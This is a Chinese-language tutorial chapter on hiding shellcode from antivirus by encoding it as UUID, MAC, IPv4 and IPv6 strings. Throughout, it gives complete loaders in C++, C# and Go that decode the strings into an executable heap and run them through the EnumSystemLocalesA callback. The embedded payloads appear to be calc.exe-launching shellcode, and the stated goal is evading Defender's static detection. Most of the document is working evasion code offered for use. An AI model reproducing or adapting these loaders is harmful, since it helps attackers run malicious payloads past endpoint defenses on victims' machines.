6-转换
一、前言
关于shellcode如何转UUID、MAC、IPV4、IPV6,我就不多说了,避免重复造轮子。shellcode形式的转换已经被杀的不要不要的,需要配合 混淆加密
、分离
这两小节才能达到一个不错的静态免杀的效果。但是对于Defender而言,这类shellcode转换和加载被严格地限制,只要你敢用它就敢杀,即使你过了Defender的静态查杀,还是会被它的动态查杀给杀掉,所以这一节只是给读者提供另类的shellcode的转换和加载器的实现思路而已。
shellcode的执行分为三个步骤
为shellcode分配内存
将shellcode移动到已分配的内存区域
执行shellcode
就这三个步骤就延伸出各种各样的玩法,我将在下文介绍区别于之前提到shellcode加载器。
参考文章:
1、 CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台
2、免杀对抗—内存加载&UUID标识&IPV4地址&MAC地址_uuid mac ipv4-CSDN博客
3、【免杀2】过静态shellcode编码(降熵) | CN-SEC 中文网
转换工具:GitHub - Haunted-Banshee/Shellcode-Hastur: Shellcode Reductio Entropy Tools
将shellcode输出*.bin文件(如果有必要的话)
#include <stdio.h>
#include <stdlib.h>
// shellcode
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOP 指令
// 其他 shellcode 字节...
};
int main() {
// 指定输出文件名
const char* filename = "output.bin";
// 打开文件以进行写入(二进制模式)
FILE *file = fopen(filename, "wb");
if (file == NULL) {
perror("Failed to open file");
return EXIT_FAILURE;
}
// 获取 shellcode 的大小
size_t shellcode_size = sizeof(shellcode);
// 将 shellcode 写入文件
size_t written = fwrite(shellcode, sizeof(unsigned char), shellcode_size, file);
if (written != shellcode_size) {
perror("Failed to write to file");
fclose(file);
return EXIT_FAILURE;
}
// 关闭文件
fclose(file);
printf("Shellcode written to %s successfully.\n", filename);
return EXIT_SUCCESS;
}
Shellcode-Hastur
工具使用说明,就以生成UUID形式的shellcode为例子:
.\Shellcode-Hastur.exe -file .\shellcode32.bin -uuid
生成的是字符串格式的uuid的形式。

二、UUID
UUID
(Universally Unique Identifier,通用唯一识别码)是一种标准的标识符格式,用于在计算机系统中唯一标识信息。UUID
的长度通常为 128 位(16 字节),通常以 32 个十六进制数字表示
一说到UUID就会让人联想到 GUID
,GUID
(全局唯一标识符,Globally Unique Identifier)是一种用于在计算机系统中唯一标识对象的标识符。GUID 通常用于数据库、COM(组件对象模型)、文件系统等场合,确保每个对象都有一个唯一的标识符。GUID常用于系统提权,废话少说回归正题。
有几个重要的WindowsAPI需要关注
HeapCreate
:创建可由调用进程使用的专用堆对象。 函数在进程的虚拟地址空间中保留空间,并为此块的指定初始部分分配物理存储。官方文档:HeapCreate 函数 (heapapi.h) - Win32 apps | Microsoft LearnHeapAlloc
:从堆中分配内存块。官方文档:heapAlloc 函数 (heapapi.h) - Win32 apps | Microsoft LearnUuidFromStringA
:它能够将字符串形式的uuid转换成二进制。详细语法和功能,参考官方文档:UuidFromStringA 函数 (rpcdce.h) - Win32 apps | Microsoft LearnEnumSystemLocalesA
,可以回调一个指定的函数指针。关于回调函数执行shellcode,我将在基于回调函数执行shellcode
详细讲解。语法和功能,参考官方文档:EnumSystemLocalesA 函数 (winnls.h) - Win32 apps | Microsoft Learn
2.1 C++
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
int main()
{
const char* UUidCode[] =
{
"0082e8fc-0000-8960-e531-c0648b50308b",
"528b0c52-8b14-2872-0fb7-4a2631ffac3c",
"2c027c61-c120-0dcf-01c7-e2f252578b52",
"3c4a8b10-4c8b-7811-e348-01d1518b5920",
"498bd301-e318-493a-8b34-8b01d631ffac",
"010dcfc1-38c7-75e0-f603-7df83b7d2475",
"588b58e4-0124-66d3-8b0c-4b8b581c01d3",
"018b048b-89d0-2444-245b-5b61595a51ff",
"5a5f5fe0-128b-8deb-5d6a-018d85b20000",
"31685000-6f8b-ff87-d5bb-f0b5a25668a6",
"ff9dbd95-3cd5-7c06-0a80-fbe07505bb47",
"6a6f7213-5300-d5ff-6361-6c632e657865",
"90909000-9090-9090-9090-909090909090"
};
// 创建堆一个初始大小为0的堆,并标记为可执行
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 为堆申请空间
void* ha = HeapAlloc(hc, 0, sizeof(UUidCode) * 16);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(UUidCode) / sizeof(UUidCode[0]);
// uuid转换成string
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)UUidCode[i], (UUID*)hptr);
if (status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hptr += 16;
}
// 利用回调函数执行shellcode
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}
sizeof(UUidCode)
用于获取数组 UUidCode
的总字节大小。由于 UUidCode
是一个指向字符串的指针数组,每个元素都是一个 const char*
类型的指针,因此 sizeof(UUidCode)
返回的是指针数组的大小,而不是所有字符串的总大小。每一个字符串是16个字节的大小,所以所有字符串的总大小为sizeof(UUidCode)*16

2.2 CSharp
using System;
using System.Data;
using System.Runtime.InteropServices;
class Program
{
[DllImport("rpcrt4.dll", SetLastError = true)]
static extern int UuidFromStringA([In] string StringUuid,out Guid Uuid);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);
const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;
static void Main(string[] args)
{
string[] uuidCodes = new string[]
{
"0082e8fc-0000-8960-e531-c0648b50308b",
"528b0c52-8b14-2872-0fb7-4a2631ffac3c",
"2c027c61-c120-0dcf-01c7-e2f252578b52",
"3c4a8b10-4c8b-7811-e348-01d1518b5920",
"498bd301-e318-493a-8b34-8b01d631ffac",
"010dcfc1-38c7-75e0-f603-7df83b7d2475",
"588b58e4-0124-66d3-8b0c-4b8b581c01d3",
"018b048b-89d0-2444-245b-5b61595a51ff",
"5a5f5fe0-128b-8deb-5d6a-018d85b20000",
"31685000-6f8b-ff87-d5bb-f0b5a25668a6",
"ff9dbd95-3cd5-7c06-0a80-fbe07505bb47",
"6a6f7213-5300-d5ff-6361-6c632e657865",
"90909000-9090-9090-9090-909090909090"
};
// 创建堆一个初始大小为0的堆,并标记为可执行
IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0 ,0);
// 为堆申请空间
IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(uuidCodes.Length * 16));
// 转换UUID
IntPtr currentPtr = shellcodePtr;
foreach (string uuid in uuidCodes)
{
Guid guidResult;
UuidFromStringA(uuid, out guidResult);
// 复制到堆内存
byte[] guidBytes = guidResult.ToByteArray();
Marshal.Copy(guidBytes, 0, currentPtr, guidBytes.Length);
currentPtr = IntPtr.Add(currentPtr, 16);
}
// 回调执行shellcode
EnumSystemLocalesA(shellcodePtr, 0);
}
}

2.3 Go
package main
import (
"syscall"
"unsafe")
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
rpcrt4 = syscall.NewLazyDLL("rpcrt4.dll")
heapCreate = kernel32.NewProc("HeapCreate")
heapAlloc = kernel32.NewProc("HeapAlloc")
closeHandle = kernel32.NewProc("CloseHandle")
uuidFromStringA = rpcrt4.NewProc("UuidFromStringA")
enumSystemLocalesA = kernel32.NewProc("EnumSystemLocalesA")
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
HEAP_FREE = 0x00000008
)
var uuidCode = []string{
"53525150-5756-6a55-605a-6863616c6354",
"ec834859-6528-8b48-3248-8b7618488b76",
"48ad4810-308b-8b48-7e30-03573c8b5c17",
"1f748b28-4820-fe01-8b54-1f240fb72c17",
"ad02528d-3c81-5707-696e-4575ef8b741f",
"fe01481c-348b-48ae-01f7-99ffd74883c4",
"5e5f5d30-5a5b-5859-c390-909090909090",
}
func main() {
// 创建一个可执行的堆
heapHandle, _, _ := heapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)
defer closeHandle.Call(heapHandle)
// 分配内存
memorySize := uintptr(len(uuidCode) * 16)
memory, _, _ := heapAlloc.Call(heapHandle, 0, memorySize)
defer heapAlloc.Call(heapHandle, uintptr(HEAP_FREE), memory)
// UUID转换,并写入相应的内存区域
ptr := memory
for _, uuidStr := range uuidCode {
uuidBytes := []byte(uuidStr)
uuidFromStringA.Call(uintptr(unsafe.Pointer(&uuidBytes[0])), ptr)
ptr += 16
}
// 回调函数执行shellcode
enumSystemLocalesA.Call(memory, 0)
}
RPC_CSTR的定义
typedef unsigned char* RPC_CSTR
,所以在Go中我们要将 uuidStr从string
类型转换成[]byte
类型。UuidFromStringA.Call的第一个参数是uintptr(unsafe.Pointer(&uuidbytes[0]))
, 用&
来取字节数组的首地址,再将首地址转换成uintptr
类型。它背后的数据转换逻辑我在2-WindowsAPI
已经讲过。

三、MAC
MAC 地址(媒体访问控制地址,Media Access Control Address),也称物理地址,是一种用于在网络中唯一标识设备的地址。MAC 地址通常以 48 位(6 字节)表示。
一个重要的WidnowsAPI
RtlEthernetStringToAddressA
:将以太网 MAC 地址的字符串表示形式转换为以太网地址的二进制格式。官方文档:RtlEthernetStringToAddressA 函数 (ip2string.h) - Win32 apps | Microsoft Learn
3.1 C++
#include <iostream>
#include <windows.h>
typedef LONG NTSTATUS;
#include <ip2string.h>
#pragma comment(lib, "Ntdll.lib")
const char* MACCode[] =
{
"50-51-52-53-56-57",
"55-6A-60-5A-68-63",
"61-6C-63-54-59-48",
"83-EC-28-65-48-8B",
"32-48-8B-76-18-48",
"8B-76-10-48-AD-48",
"8B-30-48-8B-7E-30",
"03-57-3C-8B-5C-17",
"28-8B-74-1F-20-48",
"01-FE-8B-54-1F-24",
"0F-B7-2C-17-8D-52",
"02-AD-81-3C-07-57",
"69-6E-45-75-EF-8B",
"74-1F-1C-48-01-FE",
"8B-34-AE-48-01-F7",
"99-FF-D7-48-83-C4",
"30-5D-5F-5E-5B-5A",
"59-58-C3-90-90-90"
};
int main()
{
// 创建堆一个初始大小为0的堆,并标记为可执行
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 分配堆内存
void* ha = HeapAlloc(hc, 0, sizeof(MACCode)*6);
DWORD_PTR hap = (DWORD_PTR)ha;
int elems = sizeof(MACCode) / sizeof(MACCode[0]);
PCSTR Terminator = "";
// 调用 UuidFromStringA 转换 UUID
for (int i = 0; i < elems; i++) {
if (RtlEthernetStringToAddressA(MACCode[i], &Terminator, (DL_EUI48*)hap) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hap += 6;
}
// 回调执行shellcode
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
}

PS:
不知道为什么一定要加
typedef LONG NTSTATUS
而且一定要在#include <ip2string.h>
的前面。我看参考文章没有加,我就调了一下午代码还是没成功,最后加了才成功,给我搞🤮了。要编译成64位,32位与库冲突,会报大量错误。
3.2 CSharp
using System;
using System.Data;
using System.Runtime.InteropServices;
class Program
{
[DllImport("ntdll.dll", SetLastError = true)]
static extern int RtlEthernetStringToAddressA(string S, ref IntPtr Terminator, IntPtr Addr);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);
const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;
const int STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D);
static void Main(string[] args)
{
string[] MACCode = new string[]
{
"FC-E8-82-00-00-00",
"60-89-E5-31-C0-64",
"8B-50-30-8B-52-0C",
"8B-52-14-8B-72-28",
"0F-B7-4A-26-31-FF",
"AC-3C-61-7C-02-2C",
"20-C1-CF-0D-01-C7",
"E2-F2-52-57-8B-52",
"10-8B-4A-3C-8B-4C",
"11-78-E3-48-01-D1",
"51-8B-59-20-01-D3",
"8B-49-18-E3-3A-49",
"8B-34-8B-01-D6-31",
"FF-AC-C1-CF-0D-01",
"C7-38-E0-75-F6-03",
"7D-F8-3B-7D-24-75",
"E4-58-8B-58-24-01",
"D3-66-8B-0C-4B-8B",
"58-1C-01-D3-8B-04",
"8B-01-D0-89-44-24",
"24-5B-5B-61-59-5A",
"51-FF-E0-5F-5F-5A",
"8B-12-EB-8D-5D-6A",
"01-8D-85-B2-00-00",
"00-50-68-31-8B-6F",
"87-FF-D5-BB-F0-B5",
"A2-56-68-A6-95-BD",
"9D-FF-D5-3C-06-7C",
"0A-80-FB-E0-75-05",
"BB-47-13-72-6F-6A",
"00-53-FF-D5-63-61",
"6C-63-2E-65-78-65",
"00-90-90-90-90-90"
};
// 创建堆一个初始大小为0的堆,并标记为可执行
IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0 ,0);
// 为堆申请空间
IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(MACCode.Length * 16));
// 转换MAC地址字符串到内存
IntPtr currentPtr = shellcodePtr;
IntPtr terminatorPtr = IntPtr.Zero;
try
{
// 转换MAC地址字符串到内存
foreach (string mac in MACCode)
{
int result = RtlEthernetStringToAddressA(mac, ref terminatorPtr, currentPtr);
if (result == STATUS_INVALID_PARAMETER)
{
throw new Exception($"MAC地址转换失败: {mac}");
}
// 移动指针到下一个字符串的位置
currentPtr = IntPtr.Add(currentPtr, 6);
}
// 回调执行shellcode
EnumSystemLocalesA(shellcodePtr, 0);
}
catch (Exception e)
{
Console.WriteLine($"发生错误: {e.Message}");
}
}
}

3.3 Go
package main
import (
"syscall"
"unsafe")
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
heapCreate = kernel32.NewProc("HeapCreate")
heapAlloc = kernel32.NewProc("HeapAlloc")
closeHandle = kernel32.NewProc("CloseHandle")
enumSystemLocalesA = kernel32.NewProc("EnumSystemLocalesA")
rtlEthernetStringToAddress = ntdll.NewProc("RtlEthernetStringToAddressA")
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
HEAP_FREE = 0x00000008
)
var MACCode = []string{
"50-51-52-53-56-57",
"55-6A-60-5A-68-63",
"61-6C-63-54-59-48",
"83-EC-28-65-48-8B",
"32-48-8B-76-18-48",
"8B-76-10-48-AD-48",
"8B-30-48-8B-7E-30",
"03-57-3C-8B-5C-17",
"28-8B-74-1F-20-48",
"01-FE-8B-54-1F-24",
"0F-B7-2C-17-8D-52",
"02-AD-81-3C-07-57",
"69-6E-45-75-EF-8B",
"74-1F-1C-48-01-FE",
"8B-34-AE-48-01-F7",
"99-FF-D7-48-83-C4",
"30-5D-5F-5E-5B-5A",
"59-58-C3-90-90-90",
}
func main() {
// 创建可执行堆
heapHandle, _, _ := heapCreate.Call(
uintptr(HEAP_CREATE_ENABLE_EXECUTE),
0,
0)
defer closeHandle.Call(heapHandle)
// 分配堆内存
memorySize := uintptr(len(MACCode) * 6) // 每个MAC地址6字节
memory, _, _ := heapAlloc.Call(
heapHandle,
0,
memorySize,
)
defer heapAlloc.Call(heapHandle, uintptr(HEAP_FREE), memory)
// 转换MAC地址到内存
hap := memory
for _, macStr := range MACCode {
macBytes := []byte(macStr)
terminator := uintptr(0)
status, _, _ := rtlEthernetStringToAddress.Call(
uintptr(unsafe.Pointer(&macBytes[0])),
uintptr(unsafe.Pointer(&terminator)),
hap,
)
if status != 0 { // STATUS_SUCCESS
return
}
hap += 6
}
// 执行Shellcode
enumSystemLocalesA.Call(
memory, // 作为回调函数地址
0, // 默认标志
)
}

四、IPV4
IPv4是一种无连接的协议,IPv4使用32位(4字节)地址
一个重要WindowsAPI:
RtlIpv4StringToAddressA
:将 IPv4 地址的字符串表示形式转换为二进制 IPv4 地址。官方文档:RtlIpv4StringToAddressA 函数 (ip2string.h) - Win32 apps | Microsoft Learn
4.1 C++
#include <iostream>
#include <windows.h>
typedef LONG NTSTATUS;
#include <ip2string.h>
const char* IPv4Code[] = {
"80.81.82.83",
"86.87.85.106",
"96.90.104.99",
"97.108.99.84",
"89.72.131.236",
"40.101.72.139",
"50.72.139.118",
"24.72.139.118",
"16.72.173.72",
"139.48.72.139",
"126.48.3.87",
"60.139.92.23",
"40.139.116.31",
"32.72.1.254",
"139.84.31.36",
"15.183.44.23",
"141.82.2.173",
"129.60.7.87",
"105.110.69.117",
"239.139.116.31",
"28.72.1.254",
"139.52.174.72",
"1.247.153.255",
"215.72.131.196",
"48.93.95.94",
"91.90.89.88",
"195.144.144.144"
};
int main()
{
// 创建堆一个初始大小为0的堆,并标记为可执行
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 分配堆内存
void* ha = HeapAlloc(hc, 0, sizeof(IPv4Code)*4);
DWORD_PTR hap = (DWORD_PTR)ha;
int elems = sizeof(IPv4Code) / sizeof(IPv4Code[0]);
//创建一个变量,接收转换后字符串的终止字符的指针
PCSTR Terminator = "";
//循环去将每一个ipv4地址以此存到指定地址
for (int i = 0; i < elems; i++) {
if (RtlIpv4StringToAddressA(IPv4Code[i], FALSE, &Terminator, (in_addr*)hap) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hap += 4;
}
// 回调执行shellcode
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
}

4.2 CSharp
using System;
using System.Data;
using System.Runtime.InteropServices;
class Program
{
[DllImport("ntdll.dll", SetLastError = true)]
static extern int RtlIpv4StringToAddressA(string S, bool Strict, ref IntPtr Terminator, IntPtr Addr);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);
const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;
const int STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D);
static void Main(string[] args)
{
string[] IPv4Code = new string[]
{
"252.232.130.0",
"0.0.96.137",
"229.49.192.100",
"139.80.48.139",
"82.12.139.82",
"20.139.114.40",
"15.183.74.38",
"49.255.172.60",
"97.124.2.44",
"32.193.207.13",
"1.199.226.242",
"82.87.139.82",
"16.139.74.60",
"139.76.17.120",
"227.72.1.209",
"81.139.89.32",
"1.211.139.73",
"24.227.58.73",
"139.52.139.1",
"214.49.255.172",
"193.207.13.1",
"199.56.224.117",
"246.3.125.248",
"59.125.36.117",
"228.88.139.88",
"36.1.211.102",
"139.12.75.139",
"88.28.1.211",
"139.4.139.1",
"208.137.68.36",
"36.91.91.97",
"89.90.81.255",
"224.95.95.90",
"139.18.235.141",
"93.106.1.141",
"133.178.0.0",
"0.80.104.49",
"139.111.135.255",
"213.187.240.181",
"162.86.104.166",
"149.189.157.255",
"213.60.6.124",
"10.128.251.224",
"117.5.187.71",
"19.114.111.106",
"0.83.255.213",
"99.97.108.99",
"46.101.120.101",
"0.144.144.144"
};
// 创建堆一个初始大小为0的堆,并标记为可执行
IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 为堆申请空间
IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(IPv4Code.Length * 4));
// 转换IPv4地址字符串到内存
IntPtr currentPtr = shellcodePtr;
IntPtr terminatorPtr = IntPtr.Zero;
try
{
// 转换IPv4地址字符串到内存
foreach (string ipv4 in IPv4Code)
{
int result = RtlIpv4StringToAddressA(ipv4, false, ref terminatorPtr, currentPtr);
if (result == STATUS_INVALID_PARAMETER)
{
throw new Exception($"MAC地址转换失败: {ipv4}");
}
// 移动指针到下一个字符串的位置
currentPtr = IntPtr.Add(currentPtr, 4);
}
// 回调执行shellcode
EnumSystemLocalesA(shellcodePtr, 0);
}
catch (Exception e)
{
Console.WriteLine($"发生错误: {e.Message}");
}
}
}

4.3 Go
package main
import (
"syscall"
"unsafe")
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
heapCreate = kernel32.NewProc("HeapCreate")
heapAlloc = kernel32.NewProc("HeapAlloc")
closeHandle = kernel32.NewProc("CloseHandle")
enumSystemLocalesA = kernel32.NewProc("EnumSystemLocalesA")
rtlIpv4StringToAddressA = ntdll.NewProc("RtlIpv4StringToAddressA")
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
HEAP_FREE = 0x00000008
)
var IPv4Code = []string{
"80.81.82.83",
"86.87.85.106",
"96.90.104.99",
"97.108.99.84",
"89.72.131.236",
"40.101.72.139",
"50.72.139.118",
"24.72.139.118",
"16.72.173.72",
"139.48.72.139",
"126.48.3.87",
"60.139.92.23",
"40.139.116.31",
"32.72.1.254",
"139.84.31.36",
"15.183.44.23",
"141.82.2.173",
"129.60.7.87",
"105.110.69.117",
"239.139.116.31",
"28.72.1.254",
"139.52.174.72",
"1.247.153.255",
"215.72.131.196",
"48.93.95.94",
"91.90.89.88",
"195.144.144.144",
}
func main() {
// 创建可执行堆
heapHandle, _, _ := heapCreate.Call(
uintptr(HEAP_CREATE_ENABLE_EXECUTE),
0,
0)
defer closeHandle.Call(heapHandle)
// 分配堆内存
memorySize := uintptr(len(IPv4Code) * 4) // 每个IPV4地址4字节
memory, _, _ := heapAlloc.Call(
heapHandle,
0,
memorySize,
)
defer heapAlloc.Call(heapHandle, uintptr(HEAP_FREE), memory)
// 转换ipv4地址到内存
hap := memory
for _, ipv4str := range IPv4Code {
ipv4Bytes := []byte(ipv4str)
terminator := uintptr(0)
status, _, _ := rtlIpv4StringToAddressA.Call(
uintptr(unsafe.Pointer(&ipv4Bytes[0])),
uintptr(0),
uintptr(unsafe.Pointer(&terminator)),
hap,
)
if status != 0 { // STATUS_SUCCESS
return
}
hap += 4
}
// 执行Shellcode
enumSystemLocalesA.Call(
memory, // 作为回调函数地址
0, // 默认标志
)
}

五、 IPV6
IPv6(Internet Protocol version 6)是互联网协议(IP)的第6版,是IPv4的后继者。IPv6使用128位地址表示
一个重要WindowsAPI
RtlIpv6StringToAddressA
:将 IPv6 地址的字符串表示形式转换为二进制 IPv6 地址
5.1 C++
#include <iostream>
#include <windows.h>
typedef LONG NTSTATUS;
#include <ip2string.h>
const char* IPv6Code[] = {
"5051:5253:5657:556a:605a:6863:616c:6354",
"5948:83ec:2865:488b:3248:8b76:1848:8b76",
"1048:ad48:8b30:488b:7e30:357:3c8b:5c17",
"288b:741f:2048:1fe:8b54:1f24:fb7:2c17",
"8d52:2ad:813c:757:696e:4575:ef8b:741f",
"1c48:1fe:8b34:ae48:1f7:99ff:d748:83c4",
"305d:5f5e:5b5a:5958:c300::"
};
int main()
{
// 创建堆一个初始大小为0的堆,并标记为可执行
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 分配堆内存
void* ha = HeapAlloc(hc, 0, sizeof(IPv6Code) * 16);
DWORD_PTR hap = (DWORD_PTR)ha;
int elems = sizeof(IPv6Code) / sizeof(IPv6Code[0]);
//创建一个变量,接收转换后字符串的终止字符的指针
PCSTR Terminator = "";
//循环去将每一个ipv6地址以此存到指定地址
for (int i = 0; i < elems; i++) {
if (RtlIpv6StringToAddressA(IPv6Code[i], &Terminator, (in6_addr*)hap) == STATUS_INVALID_PARAMETER)
{
printf("ERROR!");
return 0;
}
hap += 16;
}
// 回调执行shellcode
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
}

5.2 CSharp
using System;
using System.Data;
using System.Runtime.InteropServices;
class Program
{
[DllImport("ntdll.dll", SetLastError = true)]
static extern int RtlIpv6StringToAddressA(string S, ref IntPtr Terminator, IntPtr Addr);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);
const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;
const int STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D);
static void Main(string[] args)
{
string[] IPv6Code = new string[]
{
"fce8:8200:0:6089:e531:c064:8b50:308b",
"520c:8b52:148b:7228:fb7:4a26:31ff:ac3c",
"617c:22c:20c1:cf0d:1c7:e2f2:5257:8b52",
"108b:4a3c:8b4c:1178:e348:1d1:518b:5920",
"1d3:8b49:18e3:3a49:8b34:8b01:d631:ffac",
"c1cf:d01:c738:e075:f603:7df8:3b7d:2475",
"e458:8b58:2401:d366:8b0c:4b8b:581c:1d3",
"8b04:8b01:d089:4424:245b:5b61:595a:51ff",
"e05f:5f5a:8b12:eb8d:5d6a:18d:85b2:0",
"50:6831:8b6f:87ff:d5bb:f0b5:a256:68a6",
"95bd:9dff:d53c:67c:a80:fbe0:7505:bb47",
"1372:6f6a:53:ffd5:6361:6c63:2e65:7865",
"::"
};
// 创建堆一个初始大小为0的堆,并标记为可执行
IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
// 为堆申请空间
IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(IPv6Code.Length * 16));
// 转换IPv4地址字符串到内存
IntPtr currentPtr = shellcodePtr;
IntPtr terminatorPtr = IntPtr.Zero;
try
{
// 转换IPv6地址字符串到内存
foreach (string IPv6 in IPv6Code)
{
int result = RtlIpv6StringToAddressA(IPv6, ref terminatorPtr, currentPtr);
if (result == STATUS_INVALID_PARAMETER)
{
throw new Exception($"MAC地址转换失败: {IPv6}");
}
// 移动指针到下一个字符串的位置
currentPtr = IntPtr.Add(currentPtr, 16);
}
// 回调执行shellcode
EnumSystemLocalesA(shellcodePtr, 0);
}
catch (Exception e)
{
Console.WriteLine($"发生错误: {e.Message}");
}
}
}

5.3 Go
package main
import (
"syscall"
"unsafe")
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
heapCreate = kernel32.NewProc("HeapCreate")
heapAlloc = kernel32.NewProc("HeapAlloc")
closeHandle = kernel32.NewProc("CloseHandle")
enumSystemLocalesA = kernel32.NewProc("EnumSystemLocalesA")
rtlIpv6StringToAddressA = ntdll.NewProc("RtlIpv6StringToAddressA")
HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
HEAP_FREE = 0x00000008
)
var IPv6Code = []string{
"5051:5253:5657:556a:605a:6863:616c:6354",
"5948:83ec:2865:488b:3248:8b76:1848:8b76",
"1048:ad48:8b30:488b:7e30:357:3c8b:5c17",
"288b:741f:2048:1fe:8b54:1f24:fb7:2c17",
"8d52:2ad:813c:757:696e:4575:ef8b:741f",
"1c48:1fe:8b34:ae48:1f7:99ff:d748:83c4",
"305d:5f5e:5b5a:5958:c300::",
}
func main() {
// 创建可执行堆
heapHandle, _, _ := heapCreate.Call(
uintptr(HEAP_CREATE_ENABLE_EXECUTE),
0,
0)
defer closeHandle.Call(heapHandle)
// 分配堆内存
memorySize := uintptr(len(IPv6Code) * 16) // 每个IPV6地址16字节
memory, _, _ := heapAlloc.Call(
heapHandle,
0,
memorySize,
)
defer heapAlloc.Call(heapHandle, uintptr(HEAP_FREE), memory)
// 转换ipv6地址到内存
hap := memory
for _, ipv6str := range IPv6Code {
ipv6Bytes := []byte(ipv6str)
terminator := uintptr(0)
status, _, _ := rtlIpv6StringToAddressA.Call(
uintptr(unsafe.Pointer(&ipv6Bytes[0])),
uintptr(unsafe.Pointer(&terminator)),
hap,
)
if status != 0 { // STATUS_SUCCESS
return
}
hap += 16
}
// 执行Shellcode
enumSystemLocalesA.Call(
memory, // 作为回调函数地址
0, // 默认标志
)
}

Last updated